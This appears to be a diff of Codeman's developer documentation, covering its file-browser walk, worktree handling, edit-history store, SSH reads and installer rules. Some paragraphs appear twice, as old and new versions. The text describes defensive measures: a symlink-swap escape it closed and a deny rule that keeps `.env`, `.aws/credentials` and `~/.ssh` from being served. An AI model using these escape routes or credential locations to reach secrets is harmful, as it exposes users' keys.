⚠️ **The budget caps what a listing returns, never what it reads.** Taking turns means opening every folder found so far, where the depth-first walk stopped reading soon after its budget ran out, and a share of 16 entries costs the same read as a share of 5,000. So `readWalkFolder()` keeps only what the listing can use (the entries it lists, sorted, no more than the budget has left, with `more` recording that it dropped some: such a cursor stays queued and is flagged), and `MAX_WALK_ENTRIES_READ` (250,000) stops opening folders. The folder that crosses that line is read whole, as any folder always was, the ones not opened yet wait in `unread` and are flagged, and what was already read keeps its turns. Without the two, 100 folders of 50,000 files cost one GET 5 million entries and a 400 MB heap died (which ends the server, not the request). The price is that folders adding up to the ceiling leave later ones unread: flagged, not hidden, but not the fairness the budget gets, and a depth-first walk over the same tree showed less.
⚠️ **A folder below the walk's root is probed before it is read** (rule #516), because the round-robin reaches folders the depth-first walk stopped short of, each with an unbounded `readdir`. It is a bulk scan, so default options and the stall cap apply. `unknown` is never `absent`, so a folder the probe could not answer for goes on `unread` (`cursor.unanswered`), which flags it `incomplete` and sets `truncated`: a healthy mount that merely took longer than `PATH_PROBE_TIMEOUT_MS` on first touch would otherwise list as empty, and a search would miss it in silence. It stays unread until a later listing asks again. Only `absent` or `file`, a folder that left while the walk ran, drops out with no flag. With the cap engaged (two unrelated paths stalled, by default) every folder below the root is flagged, until one answers, which is the honest outcome: none of them was read. The root is not probed: a refused probe there would blank a healthy workspace. A `readdir` that fails after a good probe (permission denied) is still treated as an empty folder, as it always was.
⚠️ A directory gets its node, with `children: []`, when it is counted and is read in a later round, so every cursor still queued after the loop, and every one in `unread`, is a folder that is unread or half read: it must carry `incomplete: true` or it reads as an empty folder, the failure that went from 0 to 635 such folders before the flag existed. `renderFileBrowserTree` draws one dim, inert row under it while it is expanded, worded to fit either reason, and the row is not a `.file-tree-item`, so the click wiring leaves it alone. The budget check inside the round runs BEFORE each `shift()`, so a directory the round skips stays queued and keeps its flag. Hidden and excluded entries are dropped at the read, so they never leave a folder looking unfinished, but a folder found as the budget ended is flagged unread even if it would have turned out to be empty: only reading it could tell. The walk's root has no node, so `truncated` is its only signal, and a folder dropped at the depth cap is not flagged: it looks the same as it always has.
⚠️ **Globs are never compiled into a RegExp**: `*a*a*a…` translated to `^.*a.*a.*a…$` is a classic backtracking blowup evaluated synchronously against every walked path, so one pathological query would freeze the event loop for the whole server (the same reason `search-service.ts` is regex-free). `globMatch()` is a two-pointer wildcard walk instead, O(text · pattern) with both operands short by construction, and an overlong query (`MAX_QUERY_LENGTH`, 256) also compiles to `null` rather than running.
Matching semantics: a query containing `/` matches the relative path, otherwise the bare entry name; globs match anchored and case-insensitively (`*` spans any run, slashes included, `?` exactly one character), everything else is a plain case-insensitive substring.
Matching semantics: a query containing `/` matches the path relative to the folder being walked (`workingDir`, or the worktree of a `root=live` or `root=live-any` listing; the returned `path`s stay relative to `workingDir`, except in a `root=live-any` listing of a worktree outside it, whose `path`s are absolute), otherwise the bare entry name; globs match anchored and case-insensitively (`*` spans any run, slashes included, `?` exactly one character), everything else is a plain case-insensitive substring.
### Files panel in a worktree
**Files panel in a worktree** (#765, `src/live-worktree.ts`, `root=live` and `root=live-any` on `GET /api/sessions/:id/files`): Claude Code's EnterWorktree moves the running process into `<repo>/.claude/worktrees/<name>`, while `Session.workingDir` is the session's identity and stays on the main checkout, so the panel kept listing a tree the agent had left. `paneCwd` does follow, in both directions, because tmux reads the process cwd (measured on 2.1.318). Hook payloads are the wrong signal: their `cwd` follows every `cd` in a Bash call too.
When `paneCwd` changes, `refreshLiveWorktree()` (server.ts) runs `findLiveWorktree()`, which walks up from the pane and recognises a linked worktree by its `.git` FILE (`gitdir: .../worktrees/<id>`). It never runs git, since this fires from the pane watcher and a file read starts no process, config or filter. The walk stops at `workingDir`, at a repository or submodule of its own and at anything it cannot read; probes are bounded (#516), and a `.git` that is a symlink or a FIFO is refused before anything opens it. The answer is published as `SessionState.liveWorktree`. A plain subfolder is deliberately no answer, or a `cd` in a shell would re-root the panel.
⚠️ **That answer is lexical and goes stale.** It is judged only when the pane moves, and a symlink can take the place of the folder, or of a parent, afterwards without moving the pane, while `probePathKind()` and `readdir` both follow one. So `root=live` and `root=live-any` check again on every request: `canWalkLiveWorktree()` (file-routes.ts) probes the folder, resolves it and `workingDir`, and the walk starts at the worktree only when that resolves strictly inside the resolved `workingDir`; otherwise it starts at `workingDir`, as it does for a worktree that has gone. The 1.49.0 release review reproduced the escape end to end on tmux 3.4: without this check a symlink swapped in after the lookup listed the names and sizes of a folder outside the workspace, though `file-content` and `file-raw` refused those paths. The root is the only place this can happen, because the walk does not follow a symlink below it (`Dirent.isDirectory()` is false for one). A swap between the check and the `readdir` is the same check-then-use race any path route accepts.
⚠️ **Only the check uses resolved paths.** The walk keeps the session's spelling, or a workspace reached through a symlink stops producing paths relative to `workingDir`, and the listing's `path`s stop working on the file routes.
⚠️ A `liveWorktree` inside `workingDir` only moves where a listing STARTS, so never make it a confinement root. Returned `path`s stay relative to `workingDir`, which is why `file-content`, `file-raw` and the edit route need nothing new for it.
**A worktree outside the session's folder** (`git worktree add ../feature`, or an EnterWorktree that the user's own tooling places beside the repository) is the one case that IS a second confinement root, and it is published as `SessionState.outsideWorktree` (carrying `outside: true`), never in `liveWorktree`, which stays inside-only on the wire. `refreshLiveWorktree()` passes `findLiveWorktree()` the outside rules (`outsideWorktreeOptions()`, server.ts; none for a remote or Docker session), and `findOutsideWorktree()` answers only when all of these hold:
- The session's `workingDir` is the top of its repository or of a linked worktree (its `.git` sits there), so its git common dir is known. A session started in a subfolder follows no worktree outside it.
- The nearest `.git` at or above the pane is a FILE naming `<common dir>/worktrees/<id>`, and that registry entry's own `gitdir` file names the candidate back. Or it is a `.git` FOLDER that is the common dir itself, which is the main worktree seen from a session started in a linked one. These are the files `git worktree list` reads; git is never run, because this fires from the pane watcher on every directory change. A forged `.git` file pointing at a real entry fails the back link.
- The candidate's real path is not `/`, not the home folder or above it, and does not hold `workingDir`.
- It is not at, inside or around a Docker case workspace. An unreadable `docker-cases.json` follows nothing, since it could hide a container's workspace.
- Attachment workspace confinement (`attachmentConfineToWorkspace` / `CODEMAN_ATTACHMENT_CONFINE`) is off.
- It is not at, inside or around an attachment blocked tree (`attachmentBlockedPaths` / `CODEMAN_ATTACHMENT_BLOCKED_PATHS`, plus the defaults), and not a sensitive folder: the sensitive patterns describe file locations, so `outsideWorktreeOptions()` also probes a child of the root, which refuses a root such as `~/.ssh`. The routes judge both guard rules again on every request (`isOutsideWorktreeRootRefused()`), so turning confinement on or blocking the folder stops serving it at once. The Docker and multi-user rules are judged only when the pane moves.
- In multi-user mode, the owner's `folderAllowedForUser` rule admits it (an admin owner is not limited by it).
Every comparison uses real paths, except that a home folder or Docker workspace that cannot be resolved is compared as written, and the recorded `path` is the real path. ⚠️ **The routes must re-check it on every request**: `outsideWorktreeRootFor()` (route-helpers.ts) and `canWalkOutsideWorktree()` (file-routes.ts) accept the folder only while `realpath` returns exactly the recorded path, so a symlink swapped in later serves nothing from it. ⚠️ Walking it is opt-in: only `root=live-any` (which the panel sends) lists it, with ABSOLUTE `path`s, while `root=live` never walks an outside worktree: it walks `workingDir` with relative paths, and its listing omits `worktree` for an outside one. An absolute path inside it is confined to it, falling back to `workingDir` when the worktree root refuses it or when `isSensitivePath()` names the file, so `.env`, `.aws/credentials` and `users.json` are never served from it (`validateLocalSessionFilePath()`, used by `file-content`, the edit route, `file-raw`, `file-preview`, `file-thumbnail`, `/api/download` and `html-view`). `html-view` also runs the attachment guard for such a path and mints its capability as outside the workspace, so the serve route's per-request confinement re-check covers it. A relative path still resolves against `workingDir` alone, so `../feature/x` is refused. A symlink inside the worktree into `workingDir` is served, since `workingDir` is served anyway. ⚠️ The browser routes a path inside it to those routes, not to the read-only attachment routes (`_isOutsideWorktreePath()`, panels-ui.js), and the terminal opens it in the preview, because the log viewer's `tail-file` stays confined to `workingDir`.
A worktree of a session started below the repository's top is not followed, because Claude Code puts it at the top, outside the session's folder, and that session has no common dir to check it against.
⚠️ A listing reports `worktree` whichever folder it walked, even when the worktree has gone or the check refused it: `_followFileBrowserWorktree()` compares that report with the session's state, and an absent report would reload forever. A listing without `root=live-any` is the exception: it omits an outside worktree. While the session folder is pinned, the panel compares with the worktree it pinned away from (`pinnedWorktree`, panels-ui.js).
Two surfaces do not move with a worktree inside `workingDir`. The Git panel keeps working from `workingDir`, so it shows the main checkout's branch while the strip names the worktree. And `POST /api/sessions/:id/html-view` applies its dot-segment rule below `workingDir`, so while the session's folder is the main checkout a page under `.claude/worktrees/<name>` is refused and opens as source (a session started in the worktree renders it). For a worktree outside `workingDir` the Git panel also stays on `workingDir`, while `html-view` serves its pages as described above. Tests: `test/live-worktree.test.ts`, `test/routes/file-routes-live-worktree.test.ts`, `test/file-browser-worktree.test.ts`, `test/live-worktree-outside.test.ts`, `test/routes/file-routes-outside-worktree.test.ts`, `test/file-browser-outside-worktree.test.ts`.
### Raw file bodies: streamed and range-aware
@@ -752,7 +846,7 @@ Matching semantics: a query containing `/` matches the relative path, otherwise
### Edit history panel
**Edit history panel** (issue #643; `showEditHistory`, per-device, default OFF): which files a local claude session edited (main agent and subagents), each edit's diff, and images a Bash call produced, read from the session's transcripts by byte offset, never from git. Parser `src/edit-history-parse.ts` (pure), store `src/edit-history-store.ts`, reader `src/edit-history-local-source.ts`, sync `src/web/edit-history-sync.ts`, routes `src/web/routes/edit-history-routes.ts` (`GET /api/sessions/:id/edits[?sync=1]`, `GET …/edits/:entryId`, `POST …/edits/older`, all through `findSessionOrFail` WITH `req`), panel `edit-history-ui.js`. User guide: `docs/wiki/Working-With-Files.md` § Edit history.
**Edit history panel** (issue #643; `showEditHistory`, per-device, default OFF): which files a claude session edited, local or remote SSH (main agent and subagents), each edit's diff, and images a Bash call produced, read from the session's transcripts by byte offset, never from git. Parser `src/edit-history-parse.ts` (pure), store `src/edit-history-store.ts`, reader `src/edit-history-local-source.ts` (remote: `remoteLocateClaudeTranscript` / `remoteReadClaudeEditSources` in `src/remote-files.ts`), sync `src/web/edit-history-sync.ts`, routes `src/web/routes/edit-history-routes.ts` (`GET /api/sessions/:id/edits[?sync=1]`, `GET …/edits/:entryId`, `POST …/edits/older`, all through `findSessionOrFail` WITH `req`), panel `edit-history-ui.js`. User guide: `docs/wiki/Working-With-Files.md` § Edit history.
⚠️ **Reads only on request, opt-in all the way down.** `server.ts` builds the `EditHistorySync` and hands it to the routes; its only own calls are `remove` (through `forgetEditHistory`, when the session's persisted record goes), `sweep` (startup) and `flushAll` (shutdown). No hook, no timer, no second watcher. The panel drives every read: `?sync=1` when it opens, and while it is open on that session a debounced (600 ms) re-read after a `transcript:tool_end` of an edit-capable tool (Edit, Write, MultiEdit, NotebookEdit, Bash, Agent, Task, SendUserFile), which the existing `TranscriptWatcher` already broadcasts, or the session's `session:idle` (the end of a turn, via `_onSessionIdle`; it also catches a background subagent that writes after the tool end that started it). Not `transcript:complete`: it fires on a `result` line, which claude's interactive transcript never has. A closed panel reads nothing and keeps no badge. Guarded by the "reads only on request" wiring test in `test/edit-history-sync.test.ts`.
@@ -762,11 +856,15 @@ Matching semantics: a query containing `/` matches the relative path, otherwise
⚠️ **The store holds secrets.** Every diff an agent wrote ends up in `dataPath('edit-history')/<sessionId>.json`, API keys and `.env` contents included. It is written 0600 via tmp + rename (a fresh file each time, so an existing store never keeps wider bits; a new directory is created 0700) and bounded per session: `MAX_ENTRIES` (500) and `MAX_STORE_BYTES` (4 MiB of diff text, paths and ids), oldest dropped, also on load. Each edit's diff is capped at `MAX_HUNK_BYTES` (64 KiB); the file also holds one cursor per transcript file of the current conversation, at most `MAX_PENDING_BASH` (200) unanswered Bash calls of at most 8,192 characters of command text each (a call with an id, cwd or agent id over 4,096 characters is not kept, and dropped on load) and `MAX_AGENTS` (501) subagent labels of at most 1,024 characters per string. `load()` takes the file as untrusted: one over `MAX_FILE_BYTES` (32 MiB) is not parsed, and the rest is rebuilt from its known fields under the same bounds (unknown fields and non-string diff lines dropped, the per-edit cap applied again, a transcript id with anything but `[A-Za-z0-9._-]` dropped, since the previous transcript's path is built from it). Writes are serialized. The store lives as long as the session's persisted record: `forgetEditHistory` runs when `cleanupSession` with `killMux` removes the record (a pinned session's record is only demoted and keeps its history), on the persisted-only `DELETE /api/sessions/:id`, for every record `cleanupStaleSessions` drops at startup and every one `POST /api/cleanup-state` drops. After that startup cleanup, `sweep` deletes the `edit-history/*.json` files whose session is neither live nor recorded (left behind by a crash between removing the record and deleting the file, or by an older build) and tmp files of earlier runs (named per process start, so a pid used again, a container's pid 1, does not keep one). While `remove()` runs, nothing writes the file again: a sync in flight stops after its current read, and a request meanwhile reads nothing (`unavailable` / `removed`). The routes start a sync in the same tick as their session check, so a request that passed the check before the deletion cannot start one afterwards. Then the session's slot goes, and a session that comes back with the same id (reboot restore re-creates it) starts afresh. A store that is not loaded is deleted without being parsed. The store is blocked in `isSensitivePath` (`/.codeman*/edit-history/`, same reasoning as `intents.json`) and never fed to `/api/search`.
⚠️ **Images only through existing file surfaces.** A Bash image candidate counts only when the file's mtime lies in the call's window (start − 2 s … end + 2 s) and no entry already covers that file version; `SendUserFile` images need no window. The panel shows a thumbnail only inside the workspace, through the confined `file-raw` route. An image outside it gets no thumbnail (each would mint an attachment id per render); a click opens the shared file preview, which registers it once through `POST /api/sessions/:id/attachments` with `notify: false` (its extension allowlist and `isSensitivePath` apply). SVGs get no thumbnail. No route of this feature serves a file, least of all a transcript path.
⚠️ **Images only through existing file surfaces.** A Bash image candidate counts only when the file's mtime lies in the call's window (start − 2 s … end + 2 s) and no entry already covers that file version; `SendUserFile` images need no window. The panel shows a thumbnail only inside the workspace, through the confined `file-raw` route. An image outside it gets no thumbnail (each would mint an attachment id per render); a click opens the shared file preview, which registers it once through `POST /api/sessions/:id/attachments` with `notify: false` (its extension allowlist and `isSensitivePath` apply). SVGs get no thumbnail, and neither does any image of a remote session (its `file-raw` streams over ssh, one read per listed row); a click previews it. No route of this feature serves a file, least of all a transcript path.
⚠️ **Transcript paths are agent-printed, so they are probed BOUNDED and scanned in linear time** (#516; #693 review). `probeLocalPaths()` sends each candidate through `probePathKind()` (no `pastCap`: a bulk scan), one at a time, and only a path that answered `'file'` gets `realpath` + `stat`; a path on a mount that stopped answering costs one stalled stat, never a sync, a queued sync or `remove()` that cannot finish (`test/edit-history-probe-stall.test.ts`). `PATH_TOKEN_RE` runs synchronously in the request, over Bash output of up to 30,000 characters: an unquoted token may start only at a token boundary (line start or a token-ending character, `:` excluded so URLs stay ignored), and the `file://` branch stops at the next `file://` (`:` stays allowed for timestamped names). A lookbehind that merely excludes some characters lets a match start at every character of a long token and rescan it, quadratic in the line (2.7 s for 30,000 `#`). Time-budget regression tests in `test/edit-history-parse.test.ts`. Forward reads and "Load older" yield to the event loop between the files they parse (up to 8 MiB each); a store removed meanwhile ends the read before its images are probed. Remote, Docker and non-claude sessions never load a store on any route.
⚠️ **Transcript paths are agent-printed, so they are probed BOUNDED and scanned in linear time** (#516; #693 review). `probeLocalPaths()` sends each candidate through `probePathKind()` (no `pastCap`: a bulk scan), one at a time, and only a path that answered `'file'` gets `realpath` + `stat`; a path on a mount that stopped answering costs one stalled stat, never a sync, a queued sync or `remove()` that cannot finish (`test/edit-history-probe-stall.test.ts`). A remote session's candidates go through `remoteProbePaths()` instead, one bounded ssh round trip per 40 paths; a failed probe ends the probing for that read, and its edits stay in. `PATH_TOKEN_RE` runs synchronously in the request, over Bash output of up to 30,000 characters: an unquoted token may start only at a token boundary (line start or a token-ending character, `:` excluded so URLs stay ignored), and the `file://` branch stops at the next `file://` (`:` stays allowed for timestamped names). A lookbehind that merely excludes some characters lets a match start at every character of a long token and rescan it, quadratic in the line (2.7 s for 30,000 `#`). Time-budget regression tests in `test/edit-history-parse.test.ts`. Forward reads and "Load older" yield to the event loop between the files they parse (up to 8 MiB each); a store removed meanwhile ends the read before its images are probed. Docker and non-claude sessions never load a store on any route.
Paths, agent descriptions and diff lines render via `textContent` only (browser test with a hostile path). The header button uses the marker-class pattern (`btn-edit-history--hidden`) and stays off phones (`mobile.css`, locked in `test/mobile-header-buttons-policy.test.ts`). Remote, Docker and non-claude sessions answer `unsupported` and are never read.
Paths, agent descriptions and diff lines render via `textContent` only (browser test with a hostile path). The header button uses the marker-class pattern (`btn-edit-history--hidden`) and stays off phones (`mobile.css`, locked in `test/mobile-header-buttons-policy.test.ts`). Docker, non-claude and adopted sessions answer `unsupported` and are never read.
⚠️ **Remote (SSH) sessions: read over ssh, never woken.** The sync stays path-based; its deps get the session, and `server.ts` routes them to the local reader or to `remote-files.ts`. `transcriptPath` is one ssh round trip (`buildRemoteClaudeTranscriptLocateCommand`): first the conversation the claude process in the session's remote pane writes now (its `<config dir>/sessions/<pid>.json`, found through the pane's process tree, since a remote host sends Codeman no hooks), else the most recently written `<config dir>/projects/*/<id>.jsonl` of the stored history's conversation, `<claudeSessionId>` and `<id>` (`remoteTranscriptIds`; nothing moves `claudeSessionId` after a remote `/clear`, and no fixed order is right both after a `/clear` and after a respawn that resumed the launch conversation); the result is an absolute path on the host. A read pass is one more round trip (`buildRemoteClaudeEditSourcesCommand`), or several with more than 300 subagent requests (below), with the local reader's semantics: offset clamped to the size, a block with `len` ends at `offset + len`, a new file reads its tail, one budget shared main-first, `onlyRequested` for "Load older", at most 8 KiB of `meta.json` per subagent (within a 4 MiB meta budget per read, which the local reader does not have: a meta comes only with a subagent's first read, so one past the budget is never sent and that subagent shows its id instead of its description). `test/remote-edit-sources.test.ts` runs both scripts on a real `sh` against a temp `$HOME` and compares the read byte for byte with `readClaudeEditSources` on seeded random transcripts, so `/clear` catch-up, "Load older", cursors and the store LRU behave remotely as locally. Every request value reaches the script only after validation (id `[A-Za-z0-9._-]`, relPath `main` or `subagents/agent-<id>.jsonl`, integer offsets) and shellescaped; the scripts run under `sh -c` with `LC_ALL=C`. The config dir is an absolute `CLAUDE_CONFIG_DIR` of the ssh command's environment, else `$HOME/.claude` (claude's own rule); the remote claude runs under `$SHELL -i -l -c`, the lookup under a plain `sh`, so a value set only in a login or interactive profile (`.profile`, `.bash_profile`, `.zshrc`) is not seen. A round trip's timeout grows with its byte cap (`remoteEditSourcesTimeoutMs`: 30 s plus the transfer at 256 KiB/s), since a forward pass may carry 13 MiB and "Load older" 29 MiB. ⚠️ **Never wakes:** the lookup and the reads go through `buildRemoteEditHistoryCommand` (`buildRemoteFileCommand` with `exec`, so a timeout reaches ssh and not only the local `sh -c`, which on dash stays its parent), the image probes through `remoteProbePaths`, and all of them through `runWithRemoteSshLimit` (`ConnectTimeout=10`), so a sleeping host is a connect timeout and the panel shows `unavailable` with the stored entries; the edit-history read path reaches neither `remote-wake.ts` nor `session-routes.ts`, even transitively (guard in `test/remote-edit-sources.test.ts`). Without hooks there is no `transcript:tool_end`, so an open panel re-reads on `session:idle` and the refresh button only.
⚠️ **A read with more than 300 subagent requests spans several round trips** (`planRemoteEditSourceRounds`, `EDIT_SOURCE_REQUESTS_PER_ROUND_TRIP`). The script is one argument of the ssh line, Linux caps a single argv string at 128 KiB (`E2BIG` at about 1000 subagents), the cursors have no cap and the stored conversation is read first, so one script for all of them left a long history `unavailable`, and not even a `/clear` got past it. The cut is by NAME RANGE, not only by count: the script takes a file no `case` line names for a new one (its tail, its meta), so plain groups would read each other's files as new. Each round trip walks only the names between its cuts (one `awk` per round trip, never a fork per file), so a new file lands in exactly one range. Main comes with the first round trip, budget and meta budget carry over, and a later round trip still lists its files, because a requested file missing from the result loses its cursor. A failed round trip fails the whole read and nothing of it reaches the store; each one takes its own limiter slot. The merged result equals the local reader's, byte for byte (the fuzz test cuts every read at a random size). A read of up to 300 runs no `awk` at all. ⚠️ No `case` inside a `$(…)`: bash 3.2, macOS `sh`, cannot parse it, which is why the names come from a shell function.
### Config backups
@@ -1297,6 +1395,16 @@ Its CLI knowledge is a GENERATED block (`npm run generate:cli-catalog`, markers
⚠️ It executes ONLY commands from the embedded block (`CLI_INSTALL_CMD_TRUSTED`) — there is no network fetch of the catalogue at install time to worry about at all.
**No-admin route** (`--no-admin` / `CODEMAN_NO_ADMIN`, 2026-11-05). Everything Codeman writes was always under `$HOME`; administrator rights were only ever spent on prerequisites. `resolve_admin_mode` decides once per run whether those rights may be asked for: root yes; a Mac account outside the `admin` group no (unless a Homebrew it can write to exists); on Linux no without a `sudo` binary, or when the account is outside `sudo`/`wheel`/`admin` AND `sudo -n true` fails. ⚠️ It is never decided by `sudo -v`: that prompts, and a refused password from an account outside sudoers is reported to the administrator. A refused password on the system route offers this route instead of ending the run (`sudo_session_try`). ⚠️ The group test is a judgment, not a fact: no probe can read sudoers without reporting to the administrator, so an account sudoers lists by name, with a password, lands here too. `NO_ADMIN_REASON` must therefore say the rights could not be confirmed (`NO_ADMIN_UNCONFIRMED`), never that the account may not use `sudo`, and every message that ends or sums up the route carries `no_admin_override_hint`, which names `CODEMAN_NO_ADMIN=0` for that reason alone (`--no-admin` asked for the route; a `sudo` that is missing or refused has no way back).
On this route Node.js comes from nodejs.org (`latest-v<major>.x/SHASUMS256.txt` names the tarball AND carries its checksum, one fetch, no JSON parsing) into `~/.codeman/runtime/node`, and tmux from the tmux project's `tmux-builds` release into `~/.codeman/runtime/bin`. ⚠️ `tmux-builds` publishes no checksum file, so `tmux_build_sha256` pins all four digests of `TMUX_BUILD_VERSION`; bump the version and the digests together (the GitHub release API returns them as `digest`). ⚠️ A download is verified BEFORE it is unpacked or run, and an empty expected digest never passes. `node`, `npm`, `npx` and `tmux` are linked from `~/.local/bin` (`link_into_local_bin` refuses to replace a file that does not already point into the runtime, and uninstall removes only such links): the `codeman` launcher is `#!/usr/bin/env node`, and a non-interactive shell never reads the PATH line written to an interactive profile. The runtime's `node/bin` also goes on PATH and on the LaunchAgent's `svc_path`, since `npm install -g` puts AI CLIs beside that Node.js.
⚠️ `no_admin_blocker` runs before the first download and stops for what this route cannot supply: a C/C++ toolchain on Linux (node-pty 1.1.0 compiles there; a node-pty with Linux prebuilds is what would lift this, and it is a dependency decision, not an installer one), musl, a platform nodejs.org or tmux-builds has no build for, and macOS below 15 (the tmux build's deployment target). ⚠️ Nothing between the "No-admin route" header and "End of the no-admin route" may run `sudo`, `ensure_sudo`, `run_as_root`, Homebrew or `xcode-select --install`; `run_as_root` itself refuses while `NO_ADMIN=1`, so a missed call site fails instead of prompting.
**Driving the installer from a program** (`--ai-cli`, `--progress`, `install.sh preflight`, 2026-11-06). Codeman Desktop installs with no terminal: it runs `install.sh --no-admin --service --progress --ai-cli <id>|none` with `CODEMAN_NONINTERACTIVE=1` and its stdin closed, and asks the two questions in its own window (`packages/desktop/src/gui_install.rs`). `--ai-cli` answers the agent menu, so the one thing `CODEMAN_NONINTERACTIVE` used to decide by itself (the first entry of the catalogue) is the user's. ⚠️ `cli_offerable` is the ONE rule for what can be installed here: the menu, `--ai-cli` and `preflight`'s `installable` all read it, so the app's list and the menu cannot disagree. A name that is not offerable here warns and carries on, and never falls back to another CLI; a typo dies in `parse_flags` before anything runs. `install.sh agent <id>` installs one CLI and nothing else, for Codeman Desktop's *Add a coding agent*: no service, no source, no build, so it may run next to a live server, and an agent already there is a success that runs nothing. ⚠️ It calls `run_offered_cli`, checks `CLI_FOUND_PATH` of that one entry itself and only then prints `done`: `install_offered_cli`'s gate is fatal only when NO CLI is left, which is right for a first install and would report success here, where another CLI is usually present. ⚠️ The app passes `--no-admin` to both `preflight` and `agent`, because that flag decides what `cli_offerable` allows; pinned in `gui_install.rs`. ⚠️ The app runs it from a folder of its own (`Run::Agent`), so `ps` never reads an agent run as "Codeman is being installed". A running server remembers a missing CLI for up to 5 minutes (`cliResolveRetryDelayMs`), and Run reads that memory, so `mark_cli_installed` touches `cli-installed` in the data dir and `resolve()` leaves the backoff when that file's mtime changes. ⚠️ That check is one `stat` inside the backoff branch and buys one run of the chain. Never replace it with a re-walk of PATH during the backoff: that puts a synchronous stat of every PATH entry on the request path (#516) and executes candidates already refused. The app never restarts the service for this. Only `install.sh` writes the marker, always under `~/.codeman`, so a CLI installed by hand, or another `CODEMAN_INSTANCE`, waits out the backoff as before, and so does a server older than this. ⚠️ `preflight` prints only JSON on stdout and changes nothing; `schema` moves only when a field changes meaning, because the app ships on its own and refuses a number it does not know. Fields may be added freely. ⚠️ `progress_phase` writes to stderr, not stdout, because a function can run inside a `$( )` that captures stdout. The phases must stay in the order of `PHASES` in `connect.html` (pinned by test), `done` must stay the last thing `main()` reports, since a run that ends without it failed, and an unknown phase is ignored by the app, so a new phase needs no new app. ⚠️ `error()` carries the text as `@@codeman error`, and the app shows the FIRST one: the ones after it are consequences (`Installation failed. Partial...`).
⚠️ **git is judged by whether it works, never by `command -v`.** On a Mac without the Xcode Command Line Tools `/usr/bin/git` is a stub that opens Apple's install dialog, so `check_git` judges that path by `xcode-select -p` and never executes it; any other git is asked for `--version`. `scripts/git-hooks.mjs` has the matching guard (no `.git`, no `git` call), because postinstall runs it on every `npm install`. Without a working git the source is an archive (`fetch_source_archive`, GitHub's `archive/<ref>.tar.gz` or `CODEMAN_TARBALL_URL`) and the install directory carries the marker `.install-source`, which `detectInstallKind` reads as `archive` (the name is pinned across both files by `test/install-sh-invariants.test.ts`). ⚠️ An archive install is replaced as a WHOLE, never patched in place: nothing says which files a newer version dropped, and a stale `src/*.ts` would be compiled. The new tree is fetched and built in `<install dir>.new` and `finish_source_swap` moves it into place only after `npm run build` succeeded, so a failed update leaves the running install untouched; a re-run on a machine that has gained a working git stages a clone instead, which turns the install back into a git one. ⚠️ `download`/`download_to_stdout` resolve `DOWNLOADER` themselves (`require_downloader`): only `main()` used to set it, so a subcommand that downloads died on `set -u` with the message swallowed by the step log.
## Agent inspection and guarded submission
These three operations are experimental across both CLI and HTTP, including the
+7 -3
View File
@@ -25,7 +25,7 @@ Every run mode Codeman can launch — Claude Code, Terminal/Shell, OpenCode, Cod
App Settings → Agents & CLIs → **CLI management** (`cliManagementEnabled`, default OFF; admin-only in multi-user mode) lists every entry with an installed/not-installed badge and:
- toggles any entry on or off. A `kind: 'shell'` entry cannot be disabled, and the row shows no switch for it. A disabled CLI disappears from the Run menu, the welcome screen and the phone overview, and new session requests for it are rejected.
- installs a missing **stock** CLI by running its shipped install command, after a confirm that names the exact command. Only one install per CLI runs at a time, and the command runs without any `CODEMAN_*` variable in its environment. An `npm install -g` command is pointed at `~/.local` (which every resolver searches) when the npm global prefix is not writable by the server user, for example a system node under `/usr`; a writable prefix, a prefix that does not exist yet but could be created, and an explicit `NPM_CONFIG_PREFIX` are left alone. A custom entry's install command is never executed.
- installs a missing **stock** CLI by running its shipped install command (the entry as merged with `clis.json`, so an override of a stock entry's install command is what runs here), after a confirm that names the exact command. Only one install per CLI runs at a time, and the command runs without any `CODEMAN_*` variable in its environment. An `npm install -g` command is pointed at `~/.local` (which every resolver searches) when the npm global prefix is not writable by the server user, for example a system node under `/usr`; a writable prefix, a prefix that does not exist yet but could be created, and an explicit `NPM_CONFIG_PREFIX` are left alone. A custom entry's install command is never executed.
- adds, edits and deletes **custom** entries (id, label, badge, binaries, launch argv). The server re-validates the whole assembled entry through `CliEntrySchema`, so the form cannot bypass the load-time rules.
These are the only writes to `clis.json`. They are serialized, and a file that does not parse or has unsafe permissions is refused rather than overwritten; fix it (or `chmod 600` it) and retry. The HTTP routes are listed in `docs/api-reference.md` under *CLI management*.
@@ -57,7 +57,11 @@ interface CliEntry {
// (where this CLI's own chrome names the model it runs: SessionState.displayModel)
// .launchDefaults?: { [launchParam]: settingsKey }
// (synced App Settings that seed a LOCAL launch's params the caller left unset;
// codex's model and reasoning effort, via src/web/launch-defaults.ts)
// codex's model, reasoning effort and network access, via src/web/launch-defaults.ts)
// .gates: { [name]: { minVersion, failClosed } }
// (version gates a `capabilityGate` launch condition names: claude's `--name`,
// codex's `--no-daemon`. Measured against THAT CLI's own version, never claude's:
// resolveSessionCliVersion, so an unknown version passes no fail-closed gate)
overlays: CliOverlays; // remote-SSH / Docker pane commands, credential store
}
```
@@ -328,7 +332,7 @@ already have.
Three rules, and the middle one is why the embed matters:
1. **The server never executes an entry's `install.command`.** Unchanged, and still enforced by nothing executing it: the field is display text (`CliDiscovery.install.command`).
1. **The server executes an entry's `install.command` in exactly two places, both behind a consent click that shows the literal text.** CLI management (above, `cliManagementEnabled`, the merged entry's command) and the local model install (`docs/local-models.md`: only the COMPILED stock command of a catalogue harness row, through `stockInstallCommand()`, so no `clis.json` override reaches it; no setting gates that path, the consent screen does). Both run through the one runner in `src/cli-install-runner.ts` (one install per CLI at a time, no `CODEMAN_*` in the environment, the whole process group killed on a timeout or a cancel) and both are written to the admin audit log in multi-user mode. Everywhere else the field is display text (`CliDiscovery.install.command`).
2. **`install.sh` executes only commands embedded in itself.** Those arrive in the same file, over the same TLS fetch, in the same commit as the `curl \| bash` line that fetched the script — identical trust to the hardcoded vendor one-liners it replaces.
3. **Nothing fetched at install time is ever executed.** There is no second code path that fetches anything after the script itself has been fetched.
+68 -8
View File
@@ -384,7 +384,10 @@ size`. Neither a `modelContextLengths` entry nor a `defaultContextLength`
included), user-level agents and commands, and the MCP servers configured
in `~/.claude.json` — none of those are symlinked back, only `projects` is.
A fine trade for "point this session at my local llama.cpp," but worth
knowing before it surprises you mid-session.
knowing before it surprises you mid-session. A session on its own
`CLAUDE_CONFIG_DIR` links `projects` from that directory instead, so its
conversation, and what the endpoint run adds to it, stay on its own account
across an apply and a clear.
**That isolated directory needed one more fix to actually be usable
non-interactively.** An otherwise-empty `CLAUDE_CONFIG_DIR` has none of a
@@ -535,13 +538,31 @@ id, model and injected key NAMES are persisted, the values are re-derived
from the endpoint store on recovery, and the pane keeps running against the
endpoint in between because tmux retains its environment.
